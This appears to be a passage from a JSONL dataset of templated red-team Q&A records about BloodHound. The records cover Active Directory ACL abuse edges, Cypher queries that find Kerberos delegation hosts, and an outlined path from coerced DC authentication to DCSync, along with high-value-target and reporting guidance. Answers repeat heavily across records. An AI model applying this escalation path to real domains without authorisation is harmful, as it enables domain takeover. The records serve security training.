"2025-12-18T00:11:32.047276Z"} +{"id": "trtp-63fb8e9f825c", "instruction": "What's the process for analyzing data with BloodHound?", "output": "Workflow for BloodHound ACL Abuse Paths:\n\n1. Understand the context: ACL abuse paths exploit misconfigured Active Directory permissions. Common abuses include WriteDACL (modify permissions), WriteOwner (take ownership), and GenericAll (full control).\n\n2. Apply the tool:\n```\n# ACL abuse edges:\nGenericAll - Full control, can reset password or add to group\nGenericWrite - Can modify attributes (e.g., add SPN)\nWriteOwner - Can take ownership, then modify ACL\nWriteDACL - Can grant self GenericAll\nAddMember - Can add self to privileged group\nForceChangePassword - Can reset user password\n\n# Example path:\nUser A --[GenericAll]--> User B --[MemberOf]--> Domain Admins\n```\n\n3. Common scenarios: Find misconfigured ACLs, Privilege escalation via ACLs, AD security hardening\n\n4. Best practices:\n - GenericAll on users = can reset password\n - WriteDACL = can grant any permission", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-acl-abuse-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047179Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047291Z", "updated_at": "2025-12-18T00:11:32.047291Z"} +{"id": "trtp-8c52e512d483", "instruction": "When should I use BloodHound versus other similar tools?", "output": "Advantages of BloodHound:\n\nACL abuse paths exploit misconfigured Active Directory permissions. Common abuses include WriteDACL (modify permissions), WriteOwner (take ownership), and GenericAll (full control).\n\nBest suited for:\n- Find misconfigured ACLs\n- Privilege escalation via ACLs\n- AD security hardening\n- Attack simulation\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-acl-abuse-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047179Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047304Z", "updated_at": "2025-12-18T00:11:32.047304Z"} +{"id": "trtp-df979c7df0bc", "instruction": "How do I use BloodHound alongside other tools in my toolkit?", "output": "Integration points for BloodHound:\n\nACL abuse paths exploit misconfigured Active Directory permissions. Common abuses include WriteDACL (modify permissions), WriteOwner (take ownership), and GenericAll (full control).\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-acl-abuse-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047179Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047318Z", "updated_at": "2025-12-18T00:11:32.047318Z"} +{"id": "trtp-6ebe7783060d", "instruction": "Describe Kerberos Delegation Paths.", "output": "Kerberos Delegation Paths\n\nKerberos delegation allows services to impersonate users. Unconstrained delegation is especially dangerous as it allows impersonating any user to any service.\n\nPlatform: cross-platform\n\nCommon uses:\n- Find delegation abuse paths\n- Identify high-risk computers\n- Kerberos attack planning\n- AD hardening", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-kerberos-delegation-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047521Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047544Z", "updated_at": "2025-12-18T00:11:32.047544Z"} +{"id": "trtp-c45c0d066c29", "instruction": "What is the syntax for BloodHound?", "output": "Syntax for BloodHound:\n\nDelegation queries in BloodHound\n\nKerberos delegation allows services to impersonate users. Unconstrained delegation is especially dangerous as it allows impersonating any user to any service.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-kerberos-delegation-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047521Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047558Z", "updated_at": "2025-12-18T00:11:32.047558Z"} +{"id": "trtp-9e92d5eb356d", "instruction": "Demonstrate Kerberos Delegation Paths with an example.", "output": "Example of Kerberos Delegation Paths:\n\n```\n# Find unconstrained delegation\nMATCH (c:Computer {unconstraineddelegation:true})\nRETURN c.name\n\n# Find constrained delegation\nMATCH (c:Computer) WHERE c.allowedtodelegate IS NOT NULL\nRETURN c.name, c.allowedtodelegate\n\n# Attack path: compromise unconstrained delegation host\n# Then coerce DC to authenticate (PrinterBug, PetitPotam)\n# Capture DC TGT and DCSync\n```\n\nInterpretation: Unconstrained delegation hosts are high-value targets", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-kerberos-delegation-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047521Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047570Z", "updated_at": "2025-12-18T00:11:32.047570Z"} +{"id": "trtp-23d4f0cea814", "instruction": "Provide an example of using BloodHound.", "output": "Here is a practical example of BloodHound:\n\n```\n# Find unconstrained delegation\nMATCH (c:Computer {unconstraineddelegation:true})\nRETURN c.name\n\n# Find constrained delegation\nMATCH (c:Computer) WHERE c.allowedtodelegate IS NOT NULL\nRETURN c.name, c.allowedtodelegate\n\n# Attack path: compromise unconstrained delegation host\n# Then coerce DC to authenticate (PrinterBug, PetitPotam)\n# Capture DC TGT and DCSync\n```\n\nKerberos delegation allows services to impersonate users. Unconstrained delegation is especially dangerous as it allows impersonating any user to any service.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-kerberos-delegation-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047521Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047581Z", "updated_at": "2025-12-18T00:11:32.047581Z"} +{"id": "trtp-d0f17ba40dd3", "instruction": "What are the use cases for BloodHound?", "output": "Use cases for BloodHound:\n\n- Find delegation abuse paths\n- Identify high-risk computers\n- Kerberos attack planning\n- AD hardening\n\nKerberos delegation allows services to impersonate users. Unconstrained delegation is especially dangerous as it allows impersonating any user to any service.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-kerberos-delegation-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047521Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047593Z", "updated_at": "2025-12-18T00:11:32.047593Z"} +{"id": "trtp-898193f2eb13", "instruction": "How can I get the most out of BloodHound?", "output": "Tips for using BloodHound:\n\n- Avoid unconstrained delegation\n- Constrained to DC = DCSync path\n- Use resource-based delegation instead\n\nUseful for: Find delegation abuse paths, Identify high-risk computers, Kerberos attack planning", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-kerberos-delegation-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047521Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047608Z", "updated_at": "2025-12-18T00:11:32.047608Z"} +{"id": "trtp-92d7f6a7b123", "instruction": "What capabilities does BloodHound provide for offensive security?", "output": "Offensive security uses of BloodHound:\n\nKerberos delegation allows services to impersonate users. Unconstrained delegation is especially dangerous as it allows impersonating any user to any service.\n\nExample:\n```\n# Find unconstrained delegation\nMATCH (c:Computer {unconstraineddelegation:true})\nRETURN c.name\n\n# Find constrained delegation\nMATCH (c:Computer) WHERE c.allowedtodelegate IS NOT NULL\nRETURN c.name, c.allowedtodelegate\n\n# Attack path: compromise unconstrained delegation host\n# Then coerce DC to authenticate (PrinterBug, PetitPotam)\n# Capture DC TGT and DCSync\n```\n\nCapabilities:\n- Find delegation abuse paths\n- Identify high-risk computers\n- Kerberos attack planning", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-kerberos-delegation-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047521Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047624Z", "updated_at": "2025-12-18T00:11:32.047624Z"} +{"id": "trtp-bb47156d8481", "instruction": "What is the typical workflow for using BloodHound?", "output": "Workflow for Kerberos Delegation Paths:\n\n1. Understand the context: Kerberos delegation allows services to impersonate users. Unconstrained delegation is especially dangerous as it allows impersonating any user to any service.\n\n2. Apply the tool:\n```\n# Find unconstrained delegation\nMATCH (c:Computer {unconstraineddelegation:true})\nRETURN c.name\n\n# Find constrained delegation\nMATCH (c:Computer) WHERE c.allowedtodelegate IS NOT NULL\nRETURN c.name, c.allowedtodelegate\n\n# Attack path: compromise unconstrained delegation host\n# Then coerce DC to authenticate (PrinterBug, PetitPotam)\n# Capture DC TGT and DCSync\n```\n\n3. Common scenarios: Find delegation abuse paths, Identify high-risk computers, Kerberos attack planning\n\n4. Best practices:\n - Avoid unconstrained delegation\n - Constrained to DC = DCSync path", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-kerberos-delegation-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047521Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047639Z", "updated_at": "2025-12-18T00:11:32.047639Z"} +{"id": "trtp-852272e3cf3a", "instruction": "What are the advantages of BloodHound for security analysis?", "output": "Advantages of BloodHound:\n\nKerberos delegation allows services to impersonate users. Unconstrained delegation is especially dangerous as it allows impersonating any user to any service.\n\nBest suited for:\n- Find delegation abuse paths\n- Identify high-risk computers\n- Kerberos attack planning\n- AD hardening\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-kerberos-delegation-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047521Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047652Z", "updated_at": "2025-12-18T00:11:32.047652Z"} +{"id": "trtp-d50f70ad88db", "instruction": "How does BloodHound integrate with other security tools?", "output": "Integration points for BloodHound:\n\nKerberos delegation allows services to impersonate users. Unconstrained delegation is especially dangerous as it allows impersonating any user to any service.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-kerberos-delegation-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047521Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047667Z", "updated_at": "2025-12-18T00:11:32.047667Z"} +{"id": "trtp-e194717e58df", "instruction": "What do I need to know about BloodHound?", "output": "BloodHound High Value Targets\n\nHigh Value Targets (HVT) are objects marked as important including Domain Admins, Domain Controllers, and other sensitive accounts. BloodHound can calculate paths to these targets.\n\nPlatform: cross-platform\n\nCommon uses:\n- Focus on critical assets\n- Prioritize protection\n- Attack path analysis\n- Risk assessment", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-high-value-targets", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047835Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047856Z", "updated_at": "2025-12-18T00:11:32.047856Z"} +{"id": "trtp-efe185a0ba20", "instruction": "What command or query syntax does BloodHound use?", "output": "Syntax for BloodHound:\n\nMark as High Value in GUI\n\nHigh Value Targets (HVT) are objects marked as important including Domain Admins, Domain Controllers, and other sensitive accounts. BloodHound can calculate paths to these targets.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-high-value-targets", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047835Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047870Z", "updated_at": "2025-12-18T00:11:32.047870Z"} +{"id": "trtp-63f9dcd1b7a7", "instruction": "Show me an example of BloodHound in action.", "output": "Example of BloodHound High Value Targets:\n\n```\n# Default high value targets:\n- Domain Admins group\n- Domain Controllers\n- Enterprise Admins\n- Administrators\n- Account Operators\n- Backup Operators\n\n# Mark additional targets:\nRight-click node > Mark as High Value\n\n# Query paths to HVT:\nFind Shortest Paths to High Value Targets\n```\n\nInterpretation: Crown icon indicates high value target", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-high-value-targets", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047835Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047881Z", "updated_at": "2025-12-18T00:11:32.047881Z"} +{"id": "trtp-b029ed1b2d53", "instruction": "Show me an example of BloodHound in action.", "output": "Here is a practical example of BloodHound:\n\n```\n# Default high value targets:\n- Domain Admins group\n- Domain Controllers\n- Enterprise Admins\n- Administrators\n- Account Operators\n- Backup Operators\n\n# Mark additional targets:\nRight-click node > Mark as High Value\n\n# Query paths to HVT:\nFind Shortest Paths to High Value Targets\n```\n\nHigh Value Targets (HVT) are objects marked as important including Domain Admins, Domain Controllers, and other sensitive accounts. BloodHound can calculate paths to these targets.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-high-value-targets", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047835Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047892Z", "updated_at": "2025-12-18T00:11:32.047892Z"} +{"id": "trtp-d9273d349c82", "instruction": "When should I use BloodHound?", "output": "Use cases for BloodHound:\n\n- Focus on critical assets\n- Prioritize protection\n- Attack path analysis\n- Risk assessment\n\nHigh Value Targets (HVT) are objects marked as important including Domain Admins, Domain Controllers, and other sensitive accounts. BloodHound can calculate paths to these targets.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-high-value-targets", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047835Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047903Z", "updated_at": "2025-12-18T00:11:32.047903Z"} +{"id": "trtp-a7cc8328bce8", "instruction": "What do the results from BloodHound mean?", "output": "Interpreting BloodHound output:\n\nCrown icon indicates high value target\n\nExample output:\n```\n# Default high value targets:\n- Domain Admins group\n- Domain Controllers\n- Enterprise Admins\n- Administrators\n- Account Operators\n- Backup Operators\n\n# Mark additional targets:\nRight-click node > Mark as High Value\n\n# Query paths to HVT:\nFind Shortest Paths to High Value Targets\n```", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-high-value-targets", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047835Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047914Z", "updated_at": "2025-12-18T00:11:32.047914Z"} +{"id": "trtp-4b0a181d1a49", "instruction": "What best practices should I follow when using BloodHound?", "output": "Tips for using BloodHound:\n\n- Add business-critical systems\n- Include service accounts with DA rights\n- Review paths regularly\n\nUseful for: Focus on critical assets, Prioritize protection, Attack path analysis", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-high-value-targets", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047835Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047926Z", "updated_at": "2025-12-18T00:11:32.047926Z"} +{"id": "trtp-b2429b56ea69", "instruction": "How do red teamers use BloodHound?", "output": "Offensive security uses of BloodHound:\n\nHigh Value Targets (HVT) are objects marked as important including Domain Admins, Domain Controllers, and other sensitive accounts. BloodHound can calculate paths to these targets.\n\nExample:\n```\n# Default high value targets:\n- Domain Admins group\n- Domain Controllers\n- Enterprise Admins\n- Administrators\n- Account Operators\n- Backup Operators\n\n# Mark additional targets:\nRight-click node > Mark as High Value\n\n# Query paths to HVT:\nFind Shortest Paths to High Value Targets\n```\n\nCapabilities:\n- Focus on critical assets\n- Prioritize protection\n- Attack path analysis", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-high-value-targets", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047835Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047940Z", "updated_at": "2025-12-18T00:11:32.047940Z"} +{"id": "trtp-09925f8a2229", "instruction": "What is the typical workflow for using BloodHound?", "output": "Workflow for BloodHound High Value Targets:\n\n1. Understand the context: High Value Targets (HVT) are objects marked as important including Domain Admins, Domain Controllers, and other sensitive accounts. BloodHound can calculate paths to these targets.\n\n2. Apply the tool:\n```\n# Default high value targets:\n- Domain Admins group\n- Domain Controllers\n- Enterprise Admins\n- Administrators\n- Account Operators\n- Backup Operators\n\n# Mark additional targets:\nRight-click node > Mark as High Value\n\n# Query paths to HVT:\nFind Shortest Paths to High Value Targets\n```\n\n3. Common scenarios: Focus on critical assets, Prioritize protection, Attack path analysis\n\n4. Best practices:\n - Add business-critical systems\n - Include service accounts with DA rights", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-high-value-targets", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047835Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047954Z", "updated_at": "2025-12-18T00:11:32.047954Z"} +{"id": "trtp-ea14f3cc271e", "instruction": "What makes BloodHound useful for this task?", "output": "Advantages of BloodHound:\n\nHigh Value Targets (HVT) are objects marked as important including Domain Admins, Domain Controllers, and other sensitive accounts. BloodHound can calculate paths to these targets.\n\nBest suited for:\n- Focus on critical assets\n- Prioritize protection\n- Attack path analysis\n- Risk assessment\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-high-value-targets", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047835Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047968Z", "updated_at": "2025-12-18T00:11:32.047968Z"} +{"id": "trtp-2b6b5a90eeec", "instruction": "How does BloodHound integrate with other security tools?", "output": "Integration points for BloodHound:\n\nHigh Value Targets (HVT) are objects marked as important including Domain Admins, Domain Controllers, and other sensitive accounts. BloodHound can calculate paths to these targets.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-high-value-targets", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047835Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047982Z", "updated_at": "2025-12-18T00:11:32.047982Z"} +{"id": "trtp-a37deb513a8b", "instruction": "Explain BloodHound for security professionals.", "output": "BloodHound Export and Reporting\n\nBloodHound can export graph data, path information, and statistics for reporting. Exports support CSV, JSON, and image formats.\n\nPlatform: cross-platform\n\nCommon uses:\n- Security reporting\n- Executive summaries\n- Remediation tracking\n- Audit documentation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-export-and-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048158Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048179Z", "updated_at": "2025-12-18T00:11:32.048179Z"} +{"id": "trtp-7475fca72309", "instruction": "What command or query syntax does BloodHound use?", "output": "Syntax for BloodHound:\n\nExport options in GUI\n\nBloodHound can export graph data, path information, and statistics for reporting. Exports support CSV, JSON, and image formats.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-export-and-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048158Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048193Z", "updated_at": "2025-12-18T00:11:32.048193Z"} +{"id": "trtp-fb1b91152754", "instruction": "Give me a practical example of BloodHound.", "output": "Example of BloodHound Export and Reporting:\n\n```\n# Export options:\n- Right-click node > Export as CSV\n- Save graph as PNG/SVG\n- Export raw query results\n\n# Reporting tools:\n- PlumHound - Automated reporting\n- BloodHound-Tools - Custom reports\n- Max (Legacy) - BloodHound extensions\n\n# Key metrics for reports:\n- Total paths to DA\n- Shortest path length\n- Users with admin rights\n- Kerberoastable users\n```\n\nInterpretation: Exports provide data for external analysis and reporting", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-export-and-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048158Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048204Z", "updated_at": "2025-12-18T00:11:32.048204Z"} +{"id": "trtp-dcdf4578e69f", "instruction": "Show me an example of BloodHound in action.", "output": "Here is a practical example of BloodHound:\n\n```\n# Export options:\n- Right-click node > Export as CSV\n- Save graph as PNG/SVG\n- Export raw query results\n\n# Reporting tools:\n- PlumHound - Automated reporting\n- BloodHound-Tools - Custom reports\n- Max (Legacy) - BloodHound extensions\n\n# Key metrics for reports:\n- Total paths to DA\n- Shortest path length\n- Users with admin rights\n- Kerberoastable users\n```\n\nBloodHound can export graph data, path information, and statistics for reporting. Exports support CSV, JSON, and image formats.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-export-and-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048158Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048214Z", "updated_at": "2025-12-18T00:11:32.048214Z"} +{"id": "trtp-9c5b4c56ea37", "instruction": "When should I use BloodHound?", "output": "Use cases for BloodHound:\n\n- Security reporting\n- Executive summaries\n- Remediation tracking\n- Audit documentation\n\nBloodHound can export graph data, path information, and statistics for reporting. Exports support CSV, JSON, and image formats.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-export-and-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048158Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048226Z", "updated_at": "2025-12-18T00:11:32.048226Z"} +{"id": "trtp-314e29e2f929", "instruction": "What are some tips for using BloodHound?", "output": "Tips for using BloodHound:\n\n- Use PlumHound for automated reports\n- Include path counts in metrics\n- Track improvement over time\n\nUseful for: Security reporting, Executive summaries, Remediation tracking", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-export-and-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048158Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048241Z", "updated_at": "2025-12-18T00:11:32.048241Z"} +{"id": "trtp-500f88fc32e9", "instruction": "How do red teamers use BloodHound?", "output": "Offensive security uses of BloodHound:\n\nBloodHound can export graph data, path information, and statistics for reporting. Exports support CSV, JSON, and image formats.\n\nExample:\n```\n# Export options:\n- Right-click node > Export as CSV\n- Save graph as PNG/SVG\n- Export raw query results\n\n# Reporting tools:\n- PlumHound - Automated reporting\n- BloodHound-Tools - Custom reports\n- Max (Legacy) - BloodHound extensions\n\n# Key metrics for reports:\n- Total paths to DA\n- Shortest path length\n- Users with admin rights\n- Kerberoastable users\n```\n\nCapabilities:\n- Security reporting\n- Executive summaries\n- Remediation tracking", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-export-and-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048158Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048255Z", "updated_at": "2025-12-18T00:11:32.048255Z"} +{"id": "trtp-f84d6bd51e2b", "instruction": "What is the typical workflow for using BloodHound?", "output": "Workflow for BloodHound Export and Reporting:\n\n1. Understand the context: BloodHound can export graph data, path information, and statistics for reporting. Exports support CSV, JSON, and image formats.\n\n2. Apply the tool:\n```\n# Export options:\n- Right-click node > Export as CSV\n- Save graph as PNG/SVG\n- Export raw query results\n\n# Reporting tools:\n- PlumHound - Automated reporting\n- BloodHound-Tools - Custom reports\n- Max (Legacy) - BloodHound extensions\n\n# Key metrics for reports:\n- Total paths to DA\n- Shortest path length\n- Users with admin rights\n- Kerberoastable users\n```\n\n3. Common scenarios: Security reporting, Executive summaries, Remediation tracking\n\n4. Best practices:\n - Use PlumHound for automated reports\n - Include path counts in metrics", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-export-and-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048158Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048269Z", "updated_at": "2025-12-18T00:11:32.048269Z"} +{"id": "trtp-ac581f8744fc", "instruction": "What makes BloodHound useful for this task?", "output": "Advantages of BloodHound:\n\nBloodHound can export graph data, path information, and statistics for reporting. Exports support CSV, JSON, and image formats.\n\nBest suited for:\n- Security reporting\n- Executive summaries\n- Remediation tracking\n- Audit documentation\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-export-and-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.048158Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.048282Z", "updated_at": "2025-12-18T00:11:32.048282Z"} +{"id": "trtp-26e4c8d0d801", "instruction": "Can BloodHound be combined with other analysis methods?", "output": "Integration points for BloodHound:\n\nBloodHound can export graph data, path information, and statistics for reporting. Exports support CSV, JSON, and image formats.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": 